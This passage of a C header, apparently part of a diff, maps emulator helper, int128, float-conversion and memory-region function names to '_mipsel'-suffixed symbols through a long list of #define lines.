helper_neon_addl_u32 helper_neon_addl_u32_mipsel +#define helper_neon_add_u16 helper_neon_add_u16_mipsel +#define helper_neon_add_u8 helper_neon_add_u8_mipsel +#define helper_neon_ceq_f32 helper_neon_ceq_f32_mipsel +#define helper_neon_ceq_u16 helper_neon_ceq_u16_mipsel +#define helper_neon_ceq_u32 helper_neon_ceq_u32_mipsel +#define helper_neon_ceq_u8 helper_neon_ceq_u8_mipsel +#define helper_neon_cge_f32 helper_neon_cge_f32_mipsel +#define helper_neon_cge_s16 helper_neon_cge_s16_mipsel +#define helper_neon_cge_s32 helper_neon_cge_s32_mipsel +#define helper_neon_cge_s8 helper_neon_cge_s8_mipsel +#define helper_neon_cge_u16 helper_neon_cge_u16_mipsel +#define helper_neon_cge_u32 helper_neon_cge_u32_mipsel +#define helper_neon_cge_u8 helper_neon_cge_u8_mipsel +#define helper_neon_cgt_f32 helper_neon_cgt_f32_mipsel +#define helper_neon_cgt_s16 helper_neon_cgt_s16_mipsel +#define helper_neon_cgt_s32 helper_neon_cgt_s32_mipsel +#define helper_neon_cgt_s8 helper_neon_cgt_s8_mipsel +#define helper_neon_cgt_u16 helper_neon_cgt_u16_mipsel +#define helper_neon_cgt_u32 helper_neon_cgt_u32_mipsel +#define helper_neon_cgt_u8 helper_neon_cgt_u8_mipsel +#define helper_neon_cls_s16 helper_neon_cls_s16_mipsel +#define helper_neon_cls_s32 helper_neon_cls_s32_mipsel +#define helper_neon_cls_s8 helper_neon_cls_s8_mipsel +#define helper_neon_clz_u16 helper_neon_clz_u16_mipsel +#define helper_neon_clz_u8 helper_neon_clz_u8_mipsel +#define helper_neon_cnt_u8 helper_neon_cnt_u8_mipsel +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_mipsel +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_mipsel +#define helper_neon_hadd_s16 helper_neon_hadd_s16_mipsel +#define helper_neon_hadd_s32 helper_neon_hadd_s32_mipsel +#define helper_neon_hadd_s8 helper_neon_hadd_s8_mipsel +#define helper_neon_hadd_u16 helper_neon_hadd_u16_mipsel +#define helper_neon_hadd_u32 helper_neon_hadd_u32_mipsel +#define helper_neon_hadd_u8 helper_neon_hadd_u8_mipsel +#define helper_neon_hsub_s16 helper_neon_hsub_s16_mipsel +#define helper_neon_hsub_s32 helper_neon_hsub_s32_mipsel +#define helper_neon_hsub_s8 helper_neon_hsub_s8_mipsel +#define helper_neon_hsub_u16 helper_neon_hsub_u16_mipsel +#define helper_neon_hsub_u32 helper_neon_hsub_u32_mipsel +#define helper_neon_hsub_u8 helper_neon_hsub_u8_mipsel +#define helper_neon_max_s16 helper_neon_max_s16_mipsel +#define helper_neon_max_s32 helper_neon_max_s32_mipsel +#define helper_neon_max_s8 helper_neon_max_s8_mipsel +#define helper_neon_max_u16 helper_neon_max_u16_mipsel +#define helper_neon_max_u32 helper_neon_max_u32_mipsel +#define helper_neon_max_u8 helper_neon_max_u8_mipsel +#define helper_neon_min_s16 helper_neon_min_s16_mipsel +#define helper_neon_min_s32 helper_neon_min_s32_mipsel +#define helper_neon_min_s8 helper_neon_min_s8_mipsel +#define helper_neon_min_u16 helper_neon_min_u16_mipsel +#define helper_neon_min_u32 helper_neon_min_u32_mipsel +#define helper_neon_min_u8 helper_neon_min_u8_mipsel +#define helper_neon_mull_p8 helper_neon_mull_p8_mipsel +#define helper_neon_mull_s16 helper_neon_mull_s16_mipsel +#define helper_neon_mull_s8 helper_neon_mull_s8_mipsel +#define helper_neon_mull_u16 helper_neon_mull_u16_mipsel +#define helper_neon_mull_u8 helper_neon_mull_u8_mipsel +#define helper_neon_mul_p8 helper_neon_mul_p8_mipsel +#define helper_neon_mul_u16 helper_neon_mul_u16_mipsel +#define helper_neon_mul_u8 helper_neon_mul_u8_mipsel +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_mipsel +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_mipsel +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_mipsel +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_mipsel +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_mipsel +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_mipsel +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_mipsel +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_mipsel +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_mipsel +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_mipsel +#define helper_neon_narrow_u16 helper_neon_narrow_u16_mipsel +#define helper_neon_narrow_u8 helper_neon_narrow_u8_mipsel +#define helper_neon_negl_u16 helper_neon_negl_u16_mipsel +#define helper_neon_negl_u32 helper_neon_negl_u32_mipsel +#define helper_neon_paddl_u16 helper_neon_paddl_u16_mipsel +#define helper_neon_paddl_u32 helper_neon_paddl_u32_mipsel +#define helper_neon_padd_u16 helper_neon_padd_u16_mipsel +#define helper_neon_padd_u8 helper_neon_padd_u8_mipsel +#define helper_neon_pmax_s16 helper_neon_pmax_s16_mipsel +#define helper_neon_pmax_s8 helper_neon_pmax_s8_mipsel +#define helper_neon_pmax_u16 helper_neon_pmax_u16_mipsel +#define helper_neon_pmax_u8 helper_neon_pmax_u8_mipsel +#define helper_neon_pmin_s16 helper_neon_pmin_s16_mipsel +#define helper_neon_pmin_s8 helper_neon_pmin_s8_mipsel +#define helper_neon_pmin_u16 helper_neon_pmin_u16_mipsel +#define helper_neon_pmin_u8 helper_neon_pmin_u8_mipsel +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_mipsel +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_mipsel +#define helper_neon_qabs_s16 helper_neon_qabs_s16_mipsel +#define helper_neon_qabs_s32 helper_neon_qabs_s32_mipsel +#define helper_neon_qabs_s64 helper_neon_qabs_s64_mipsel +#define helper_neon_qabs_s8 helper_neon_qabs_s8_mipsel +#define helper_neon_qadd_s16 helper_neon_qadd_s16_mipsel +#define helper_neon_qadd_s32 helper_neon_qadd_s32_mipsel +#define helper_neon_qadd_s64 helper_neon_qadd_s64_mipsel +#define helper_neon_qadd_s8 helper_neon_qadd_s8_mipsel +#define helper_neon_qadd_u16 helper_neon_qadd_u16_mipsel +#define helper_neon_qadd_u32 helper_neon_qadd_u32_mipsel +#define helper_neon_qadd_u64 helper_neon_qadd_u64_mipsel +#define helper_neon_qadd_u8 helper_neon_qadd_u8_mipsel +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_mipsel +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_mipsel +#define helper_neon_qneg_s16 helper_neon_qneg_s16_mipsel +#define helper_neon_qneg_s32 helper_neon_qneg_s32_mipsel +#define helper_neon_qneg_s64 helper_neon_qneg_s64_mipsel +#define helper_neon_qneg_s8 helper_neon_qneg_s8_mipsel +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_mipsel +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_mipsel +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_mipsel +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_mipsel +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_mipsel +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_mipsel +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_mipsel +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_mipsel +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_mipsel +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_mipsel +#define helper_neon_qshl_s16 helper_neon_qshl_s16_mipsel +#define helper_neon_qshl_s32 helper_neon_qshl_s32_mipsel +#define helper_neon_qshl_s64 helper_neon_qshl_s64_mipsel +#define helper_neon_qshl_s8 helper_neon_qshl_s8_mipsel +#define helper_neon_qshl_u16 helper_neon_qshl_u16_mipsel +#define helper_neon_qshl_u32 helper_neon_qshl_u32_mipsel +#define helper_neon_qshl_u64 helper_neon_qshl_u64_mipsel +#define helper_neon_qshl_u8 helper_neon_qshl_u8_mipsel +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_mipsel +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_mipsel +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_mipsel +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_mipsel +#define helper_neon_qsub_s16 helper_neon_qsub_s16_mipsel +#define helper_neon_qsub_s32 helper_neon_qsub_s32_mipsel +#define helper_neon_qsub_s64 helper_neon_qsub_s64_mipsel +#define helper_neon_qsub_s8 helper_neon_qsub_s8_mipsel +#define helper_neon_qsub_u16 helper_neon_qsub_u16_mipsel +#define helper_neon_qsub_u32 helper_neon_qsub_u32_mipsel +#define helper_neon_qsub_u64 helper_neon_qsub_u64_mipsel +#define helper_neon_qsub_u8 helper_neon_qsub_u8_mipsel +#define helper_neon_qunzip16 helper_neon_qunzip16_mipsel +#define helper_neon_qunzip32 helper_neon_qunzip32_mipsel +#define helper_neon_qunzip8 helper_neon_qunzip8_mipsel +#define helper_neon_qzip16 helper_neon_qzip16_mipsel +#define helper_neon_qzip32 helper_neon_qzip32_mipsel +#define helper_neon_qzip8 helper_neon_qzip8_mipsel +#define helper_neon_rbit_u8 helper_neon_rbit_u8_mipsel +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_mipsel +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_mipsel +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_mipsel +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_mipsel +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_mipsel +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_mipsel +#define helper_neon_rshl_s16 helper_neon_rshl_s16_mipsel +#define helper_neon_rshl_s32 helper_neon_rshl_s32_mipsel +#define helper_neon_rshl_s64 helper_neon_rshl_s64_mipsel +#define helper_neon_rshl_s8 helper_neon_rshl_s8_mipsel +#define helper_neon_rshl_u16 helper_neon_rshl_u16_mipsel +#define helper_neon_rshl_u32 helper_neon_rshl_u32_mipsel +#define helper_neon_rshl_u64 helper_neon_rshl_u64_mipsel +#define helper_neon_rshl_u8 helper_neon_rshl_u8_mipsel +#define helper_neon_shl_s16 helper_neon_shl_s16_mipsel +#define helper_neon_shl_s32 helper_neon_shl_s32_mipsel +#define helper_neon_shl_s64 helper_neon_shl_s64_mipsel +#define helper_neon_shl_s8 helper_neon_shl_s8_mipsel +#define helper_neon_shl_u16 helper_neon_shl_u16_mipsel +#define helper_neon_shl_u32 helper_neon_shl_u32_mipsel +#define helper_neon_shl_u64 helper_neon_shl_u64_mipsel +#define helper_neon_shl_u8 helper_neon_shl_u8_mipsel +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_mipsel +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_mipsel +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_mipsel +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_mipsel +#define helper_neon_subl_u16 helper_neon_subl_u16_mipsel +#define helper_neon_subl_u32 helper_neon_subl_u32_mipsel +#define helper_neon_sub_u16 helper_neon_sub_u16_mipsel +#define helper_neon_sub_u8 helper_neon_sub_u8_mipsel +#define helper_neon_tbl helper_neon_tbl_mipsel +#define helper_neon_tst_u16 helper_neon_tst_u16_mipsel +#define helper_neon_tst_u32 helper_neon_tst_u32_mipsel +#define helper_neon_tst_u8 helper_neon_tst_u8_mipsel +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_mipsel +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_mipsel +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_mipsel +#define helper_neon_unzip16 helper_neon_unzip16_mipsel +#define helper_neon_unzip8 helper_neon_unzip8_mipsel +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_mipsel +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_mipsel +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_mipsel +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_mipsel +#define helper_neon_widen_s16 helper_neon_widen_s16_mipsel +#define helper_neon_widen_s8 helper_neon_widen_s8_mipsel +#define helper_neon_widen_u16 helper_neon_widen_u16_mipsel +#define helper_neon_widen_u8 helper_neon_widen_u8_mipsel +#define helper_neon_zip16 helper_neon_zip16_mipsel +#define helper_neon_zip8 helper_neon_zip8_mipsel +#define helper_pre_hvc helper_pre_hvc_mipsel +#define helper_pre_smc helper_pre_smc_mipsel +#define helper_qadd16 helper_qadd16_mipsel +#define helper_qadd8 helper_qadd8_mipsel +#define helper_qaddsubx helper_qaddsubx_mipsel +#define helper_qsub16 helper_qsub16_mipsel +#define helper_qsub8 helper_qsub8_mipsel +#define helper_qsubaddx helper_qsubaddx_mipsel +#define helper_rbit helper_rbit_mipsel +#define helper_recpe_f32 helper_recpe_f32_mipsel +#define helper_recpe_f64 helper_recpe_f64_mipsel +#define helper_recpe_u32 helper_recpe_u32_mipsel +#define helper_recps_f32 helper_recps_f32_mipsel +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_mipsel +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_mipsel +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_mipsel +#define helper_ret_stb_mmu helper_ret_stb_mmu_mipsel +#define helper_rintd helper_rintd_mipsel +#define helper_rintd_exact helper_rintd_exact_mipsel +#define helper_rints helper_rints_mipsel +#define helper_rints_exact helper_rints_exact_mipsel +#define helper_ror_cc helper_ror_cc_mipsel +#define helper_rsqrte_f32 helper_rsqrte_f32_mipsel +#define helper_rsqrte_f64 helper_rsqrte_f64_mipsel +#define helper_rsqrte_u32 helper_rsqrte_u32_mipsel +#define helper_rsqrts_f32 helper_rsqrts_f32_mipsel +#define helper_sadd16 helper_sadd16_mipsel +#define helper_sadd8 helper_sadd8_mipsel +#define helper_saddsubx helper_saddsubx_mipsel +#define helper_sar_cc helper_sar_cc_mipsel +#define helper_sdiv helper_sdiv_mipsel +#define helper_sel_flags helper_sel_flags_mipsel +#define helper_set_cp_reg helper_set_cp_reg_mipsel +#define helper_set_cp_reg64 helper_set_cp_reg64_mipsel +#define helper_set_neon_rmode helper_set_neon_rmode_mipsel +#define helper_set_r13_banked helper_set_r13_banked_mipsel +#define helper_set_rmode helper_set_rmode_mipsel +#define helper_set_user_reg helper_set_user_reg_mipsel +#define helper_shadd16 helper_shadd16_mipsel +#define helper_shadd8 helper_shadd8_mipsel +#define helper_shaddsubx helper_shaddsubx_mipsel +#define helper_shl_cc helper_shl_cc_mipsel +#define helper_shr_cc helper_shr_cc_mipsel +#define helper_shsub16 helper_shsub16_mipsel +#define helper_shsub8 helper_shsub8_mipsel +#define helper_shsubaddx helper_shsubaddx_mipsel +#define helper_ssat helper_ssat_mipsel +#define helper_ssat16 helper_ssat16_mipsel +#define helper_ssub16 helper_ssub16_mipsel +#define helper_ssub8 helper_ssub8_mipsel +#define helper_ssubaddx helper_ssubaddx_mipsel +#define helper_stb_mmu helper_stb_mmu_mipsel +#define helper_stl_mmu helper_stl_mmu_mipsel +#define helper_stq_mmu helper_stq_mmu_mipsel +#define helper_stw_mmu helper_stw_mmu_mipsel +#define helper_sub_saturate helper_sub_saturate_mipsel +#define helper_sub_usaturate helper_sub_usaturate_mipsel +#define helper_sxtb16 helper_sxtb16_mipsel +#define helper_uadd16 helper_uadd16_mipsel +#define helper_uadd8 helper_uadd8_mipsel +#define helper_uaddsubx helper_uaddsubx_mipsel +#define helper_udiv helper_udiv_mipsel +#define helper_uhadd16 helper_uhadd16_mipsel +#define helper_uhadd8 helper_uhadd8_mipsel +#define helper_uhaddsubx helper_uhaddsubx_mipsel +#define helper_uhsub16 helper_uhsub16_mipsel +#define helper_uhsub8 helper_uhsub8_mipsel +#define helper_uhsubaddx helper_uhsubaddx_mipsel +#define helper_uqadd16 helper_uqadd16_mipsel +#define helper_uqadd8 helper_uqadd8_mipsel +#define helper_uqaddsubx helper_uqaddsubx_mipsel +#define helper_uqsub16 helper_uqsub16_mipsel +#define helper_uqsub8 helper_uqsub8_mipsel +#define helper_uqsubaddx helper_uqsubaddx_mipsel +#define helper_usad8 helper_usad8_mipsel +#define helper_usat helper_usat_mipsel +#define helper_usat16 helper_usat16_mipsel +#define helper_usub16 helper_usub16_mipsel +#define helper_usub8 helper_usub8_mipsel +#define helper_usubaddx helper_usubaddx_mipsel +#define helper_uxtb16 helper_uxtb16_mipsel +#define helper_v7m_mrs helper_v7m_mrs_mipsel +#define helper_v7m_msr helper_v7m_msr_mipsel +#define helper_vfp_absd helper_vfp_absd_mipsel +#define helper_vfp_abss helper_vfp_abss_mipsel +#define helper_vfp_addd helper_vfp_addd_mipsel +#define helper_vfp_adds helper_vfp_adds_mipsel +#define helper_vfp_cmpd helper_vfp_cmpd_mipsel +#define helper_vfp_cmped helper_vfp_cmped_mipsel +#define helper_vfp_cmpes helper_vfp_cmpes_mipsel +#define helper_vfp_cmps helper_vfp_cmps_mipsel +#define helper_vfp_divd helper_vfp_divd_mipsel +#define helper_vfp_divs helper_vfp_divs_mipsel +#define helper_vfp_fcvtds helper_vfp_fcvtds_mipsel +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_mipsel +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_mipsel +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_mipsel +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_mipsel +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_mipsel +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_mipsel +#define helper_vfp_maxd helper_vfp_maxd_mipsel +#define helper_vfp_maxnumd helper_vfp_maxnumd_mipsel +#define helper_vfp_maxnums helper_vfp_maxnums_mipsel +#define helper_vfp_maxs helper_vfp_maxs_mipsel +#define helper_vfp_mind helper_vfp_mind_mipsel +#define helper_vfp_minnumd helper_vfp_minnumd_mipsel +#define helper_vfp_minnums helper_vfp_minnums_mipsel +#define helper_vfp_mins helper_vfp_mins_mipsel +#define helper_vfp_muladdd helper_vfp_muladdd_mipsel +#define helper_vfp_muladds helper_vfp_muladds_mipsel +#define helper_vfp_muld helper_vfp_muld_mipsel +#define helper_vfp_muls helper_vfp_muls_mipsel +#define helper_vfp_negd helper_vfp_negd_mipsel +#define helper_vfp_negs helper_vfp_negs_mipsel +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_mipsel +#define helper_vfp_shtod helper_vfp_shtod_mipsel +#define helper_vfp_shtos helper_vfp_shtos_mipsel +#define helper_vfp_sitod helper_vfp_sitod_mipsel +#define helper_vfp_sitos helper_vfp_sitos_mipsel +#define helper_vfp_sltod helper_vfp_sltod_mipsel +#define helper_vfp_sltos helper_vfp_sltos_mipsel +#define helper_vfp_sqrtd helper_vfp_sqrtd_mipsel +#define helper_vfp_sqrts helper_vfp_sqrts_mipsel +#define helper_vfp_sqtod helper_vfp_sqtod_mipsel +#define helper_vfp_sqtos helper_vfp_sqtos_mipsel +#define helper_vfp_subd helper_vfp_subd_mipsel +#define helper_vfp_subs helper_vfp_subs_mipsel +#define helper_vfp_toshd helper_vfp_toshd_mipsel +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_mipsel +#define helper_vfp_toshs helper_vfp_toshs_mipsel +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_mipsel +#define helper_vfp_tosid helper_vfp_tosid_mipsel +#define helper_vfp_tosis helper_vfp_tosis_mipsel +#define helper_vfp_tosizd helper_vfp_tosizd_mipsel +#define helper_vfp_tosizs helper_vfp_tosizs_mipsel +#define helper_vfp_tosld helper_vfp_tosld_mipsel +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_mipsel +#define helper_vfp_tosls helper_vfp_tosls_mipsel +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_mipsel +#define helper_vfp_tosqd helper_vfp_tosqd_mipsel +#define helper_vfp_tosqs helper_vfp_tosqs_mipsel +#define helper_vfp_touhd helper_vfp_touhd_mipsel +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_mipsel +#define helper_vfp_touhs helper_vfp_touhs_mipsel +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_mipsel +#define helper_vfp_touid helper_vfp_touid_mipsel +#define helper_vfp_touis helper_vfp_touis_mipsel +#define helper_vfp_touizd helper_vfp_touizd_mipsel +#define helper_vfp_touizs helper_vfp_touizs_mipsel +#define helper_vfp_tould helper_vfp_tould_mipsel +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_mipsel +#define helper_vfp_touls helper_vfp_touls_mipsel +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_mipsel +#define helper_vfp_touqd helper_vfp_touqd_mipsel +#define helper_vfp_touqs helper_vfp_touqs_mipsel +#define helper_vfp_uhtod helper_vfp_uhtod_mipsel +#define helper_vfp_uhtos helper_vfp_uhtos_mipsel +#define helper_vfp_uitod helper_vfp_uitod_mipsel +#define helper_vfp_uitos helper_vfp_uitos_mipsel +#define helper_vfp_ultod helper_vfp_ultod_mipsel +#define helper_vfp_ultos helper_vfp_ultos_mipsel +#define helper_vfp_uqtod helper_vfp_uqtod_mipsel +#define helper_vfp_uqtos helper_vfp_uqtos_mipsel +#define helper_wfe helper_wfe_mipsel +#define helper_wfi helper_wfi_mipsel +#define hex2decimal hex2decimal_mipsel +#define hw_breakpoint_update hw_breakpoint_update_mipsel +#define hw_breakpoint_update_all hw_breakpoint_update_all_mipsel +#define hw_watchpoint_update hw_watchpoint_update_mipsel +#define hw_watchpoint_update_all hw_watchpoint_update_all_mipsel +#define _init _init_mipsel +#define init_cpreg_list init_cpreg_list_mipsel +#define init_lists init_lists_mipsel +#define input_type_enum input_type_enum_mipsel +#define int128_2_64 int128_2_64_mipsel +#define int128_add int128_add_mipsel +#define int128_addto int128_addto_mipsel +#define int128_and int128_and_mipsel +#define int128_eq int128_eq_mipsel +#define int128_ge int128_ge_mipsel +#define int128_get64 int128_get64_mipsel +#define int128_gt int128_gt_mipsel +#define int128_le int128_le_mipsel +#define int128_lt int128_lt_mipsel +#define int128_make64 int128_make64_mipsel +#define int128_max int128_max_mipsel +#define int128_min int128_min_mipsel +#define int128_ne int128_ne_mipsel +#define int128_neg int128_neg_mipsel +#define int128_nz int128_nz_mipsel +#define int128_rshift int128_rshift_mipsel +#define int128_sub int128_sub_mipsel +#define int128_subfrom int128_subfrom_mipsel +#define int128_zero int128_zero_mipsel +#define int16_to_float32 int16_to_float32_mipsel +#define int16_to_float64 int16_to_float64_mipsel +#define int32_to_float128 int32_to_float128_mipsel +#define int32_to_float32 int32_to_float32_mipsel +#define int32_to_float64 int32_to_float64_mipsel +#define int32_to_floatx80 int32_to_floatx80_mipsel +#define int64_to_float128 int64_to_float128_mipsel +#define int64_to_float32 int64_to_float32_mipsel +#define int64_to_float64 int64_to_float64_mipsel +#define int64_to_floatx80 int64_to_floatx80_mipsel +#define invalidate_and_set_dirty invalidate_and_set_dirty_mipsel +#define invalidate_page_bitmap invalidate_page_bitmap_mipsel +#define io_mem_read io_mem_read_mipsel +#define io_mem_write io_mem_write_mipsel +#define io_readb io_readb_mipsel +#define io_readl io_readl_mipsel +#define io_readq io_readq_mipsel +#define io_readw io_readw_mipsel +#define iotlb_to_region iotlb_to_region_mipsel +#define io_writeb io_writeb_mipsel +#define io_writel io_writel_mipsel +#define io_writeq io_writeq_mipsel +#define io_writew io_writew_mipsel +#define is_a64 is_a64_mipsel +#define is_help_option is_help_option_mipsel +#define isr_read isr_read_mipsel +#define is_valid_option_list is_valid_option_list_mipsel +#define iwmmxt_load_creg iwmmxt_load_creg_mipsel +#define iwmmxt_load_reg iwmmxt_load_reg_mipsel +#define iwmmxt_store_creg iwmmxt_store_creg_mipsel +#define iwmmxt_store_reg iwmmxt_store_reg_mipsel +#define __jit_debug_descriptor __jit_debug_descriptor_mipsel +#define __jit_debug_register_code __jit_debug_register_code_mipsel +#define kvm_to_cpreg_id kvm_to_cpreg_id_mipsel +#define last_ram_offset last_ram_offset_mipsel +#define ldl_be_p ldl_be_p_mipsel +#define ldl_be_phys ldl_be_phys_mipsel +#define ldl_he_p ldl_he_p_mipsel +#define ldl_le_p ldl_le_p_mipsel +#define ldl_le_phys ldl_le_phys_mipsel +#define ldl_phys ldl_phys_mipsel +#define ldl_phys_internal ldl_phys_internal_mipsel +#define ldq_be_p ldq_be_p_mipsel +#define ldq_be_phys ldq_be_phys_mipsel +#define ldq_he_p ldq_he_p_mipsel +#define ldq_le_p ldq_le_p_mipsel +#define ldq_le_phys ldq_le_phys_mipsel +#define ldq_phys ldq_phys_mipsel +#define ldq_phys_internal ldq_phys_internal_mipsel +#define ldst_name ldst_name_mipsel +#define ldub_p ldub_p_mipsel +#define ldub_phys ldub_phys_mipsel +#define lduw_be_p lduw_be_p_mipsel +#define lduw_be_phys lduw_be_phys_mipsel +#define lduw_he_p lduw_he_p_mipsel +#define lduw_le_p lduw_le_p_mipsel +#define lduw_le_phys lduw_le_phys_mipsel +#define lduw_phys lduw_phys_mipsel +#define lduw_phys_internal lduw_phys_internal_mipsel +#define le128 le128_mipsel +#define linked_bp_matches linked_bp_matches_mipsel +#define listener_add_address_space listener_add_address_space_mipsel +#define load_cpu_offset load_cpu_offset_mipsel +#define load_reg load_reg_mipsel +#define load_reg_var load_reg_var_mipsel +#define log_cpu_state log_cpu_state_mipsel +#define lpae_cp_reginfo lpae_cp_reginfo_mipsel +#define lt128 lt128_mipsel +#define machine_class_init machine_class_init_mipsel +#define machine_finalize machine_finalize_mipsel +#define machine_info machine_info_mipsel +#define machine_initfn machine_initfn_mipsel +#define machine_register_types machine_register_types_mipsel +#define machvirt_init machvirt_init_mipsel +#define machvirt_machine_init machvirt_machine_init_mipsel +#define maj maj_mipsel +#define mapping_conflict mapping_conflict_mipsel +#define mapping_contiguous mapping_contiguous_mipsel +#define mapping_have_same_region mapping_have_same_region_mipsel +#define mapping_merge mapping_merge_mipsel +#define mem_add mem_add_mipsel +#define mem_begin mem_begin_mipsel +#define mem_commit mem_commit_mipsel +#define memory_access_is_direct memory_access_is_direct_mipsel +#define memory_access_size memory_access_size_mipsel +#define memory_init memory_init_mipsel +#define memory_listener_match memory_listener_match_mipsel +#define memory_listener_register memory_listener_register_mipsel +#define memory_listener_unregister memory_listener_unregister_mipsel +#define memory_map_init memory_map_init_mipsel +#define memory_mapping_filter memory_mapping_filter_mipsel +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_mipsel +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_mipsel +#define memory_mapping_list_free memory_mapping_list_free_mipsel +#define memory_mapping_list_init memory_mapping_list_init_mipsel +#define memory_region_access_valid memory_region_access_valid_mipsel +#define memory_region_add_subregion memory_region_add_subregion_mipsel +#define memory_region_add_subregion_common memory_region_add_subregion_common_mipsel +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_mipsel +#define memory_region_big_endian memory_region_big_endian_mipsel +#define memory_region_clear_pending memory_region_clear_pending_mipsel +#define memory_region_del_subregion memory_region_del_subregion_mipsel +#define memory_region_destructor_alias memory_region_destructor_alias_mipsel +#define memory_region_destructor_none memory_region_destructor_none_mipsel +#define memory_region_destructor_ram memory_region_destructor_ram_mipsel +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_mipsel +#define memory_region_dispatch_read memory_region_dispatch_read_mipsel +#define memory_region_dispatch_read1 memory_region_dispatch_read1_mipsel +#define memory_region_dispatch_write memory_region_dispatch_write_mipsel +#define memory_region_escape_name memory_region_escape_name_mipsel +#define memory_region_finalize memory_region_finalize_mipsel +#define memory_region_find memory_region_find_mipsel +#define memory_region_get_addr memory_region_get_addr_mipsel +#define memory_region_get_alignment memory_region_get_alignment_mipsel +#define memory_region_get_container memory_region_get_container_mipsel +#define memory_region_get_fd memory_region_get_fd_mipsel +#define memory_region_get_may_overlap memory_region_get_may_overlap_mipsel +#define memory_region_get_priority memory_region_get_priority_mipsel +#define memory_region_get_ram_addr memory_region_get_ram_addr_mipsel +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_mipsel +#define memory_region_get_size memory_region_get_size_mipsel +#define memory_region_info memory_region_info_mipsel +#define memory_region_init memory_region_init_mipsel +#define memory_region_init_alias memory_region_init_alias_mipsel +#define memory_region_initfn memory_region_initfn_mipsel +#define memory_region_init_io memory_region_init_io_mipsel +#define memory_region_init_ram memory_region_init_ram_mipsel +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_mipsel +#define memory_region_init_reservation memory_region_init_reservation_mipsel +#define memory_region_is_iommu memory_region_is_iommu_mipsel +#define memory_region_is_logging memory_region_is_logging_mipsel +#define memory_region_is_mapped memory_region_is_mapped_mipsel +#define memory_region_is_ram memory_region_is_ram_mipsel +#define memory_region_is_rom memory_region_is_rom_mipsel +#define memory_region_is_romd memory_region_is_romd_mipsel +#define memory_region_is_skip_dump memory_region_is_skip_dump_mipsel +#define memory_region_is_unassigned memory_region_is_unassigned_mipsel +#define memory_region_name memory_region_name_mipsel +#define memory_region_need_escape memory_region_need_escape_mipsel +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_mipsel +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_mipsel +#define memory_region_present memory_region_present_mipsel +#define memory_region_read_accessor 